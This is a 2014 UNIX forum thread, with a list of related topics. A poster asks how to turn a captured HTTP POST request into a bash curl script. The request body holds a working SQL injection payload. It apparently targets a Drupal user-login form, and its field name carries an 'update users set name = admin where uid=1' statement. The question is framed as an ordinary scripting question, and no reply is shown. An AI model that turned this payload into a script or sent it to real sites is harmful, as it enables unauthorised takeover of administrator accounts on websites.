Data Post with curl


Login or Register to Reply

 
Thread Tools Search this Thread
# 1  
Old 11-17-2014
Data Post with curl

how to make the bash script ?

Code:
http://server.com/mysql.php 
POST /mysql.php HTTP/1.1 
Host: server.com 
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:26.0) Gecko/20100101 Firefox/26.0 
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 
Accept-Language: en-US,en;q=0.5 
Accept-Encoding: gzip, deflate 
Referer: http://server.com/mysql.php 
Connection: keep-alive 
Content-Type: application/x-www-form-urlencoded 
Content-Length: 176 
name[0; update users set name %3D 'admin' where uid%3D'1';#]=test&name[]=test123&pass=test0123&form_build_id=form-K5Bhsz8UThdxhp4I1rE9ZEB11UaZ1R3wd9rnKsegCRw&form_id=user_login

Login or Register to Reply

|
Thread Tools Search this Thread
Search this Thread:
Advanced Search

More UNIX and Linux Forum Topics You Might Find Helpful
CURL - Post Form Isssue ( sequel ) Fred13 Web Development 4 2 Weeks Ago 12:33 PM
Curl - post form issue Fred13 Web Development 3 2 Weeks Ago 06:11 AM
How to post content file of data using curl? fajar_3t3 Shell Programming and Scripting 0 03-19-2018 01:33 AM
Get data from GitHub using Curl Kochappa Shell Programming and Scripting 0 04-02-2017 05:13 AM
Wget and curl to post data SkySmart Shell Programming and Scripting 1 10-12-2016 06:03 PM
Curl command to post headers dineshaila Shell Programming and Scripting 1 05-26-2016 01:28 PM
Curl Script - Post a file (multipart/form-data) Anooja G Shell Programming and Scripting 0 04-28-2014 09:08 AM
Read URL data from UNIX-CLI without Wget,CURL,w3m,LWP scott_cog Shell Programming and Scripting 12 10-09-2013 08:30 AM
Read URL data from UNIX without wget,curl,lynx,w3m. scott_cog UNIX for Dummies Questions & Answers 0 10-05-2013 01:24 PM
Using cURL to submit a post form hansvg Shell Programming and Scripting 2 07-24-2012 03:50 PM
Posting data to a form using curl DeCoTwc UNIX for Dummies Questions & Answers 0 05-30-2010 04:34 AM
Issue in Curl to send http POST request with attachment/multipart manishmaha UNIX for Advanced & Expert Users 1 05-19-2010 02:12 AM
maintaining form post session using curl Allasso Shell Programming and Scripting 1 01-13-2009 06:26 PM
Capture POST data azmathshaikh Shell Programming and Scripting 1 10-05-2005 06:07 AM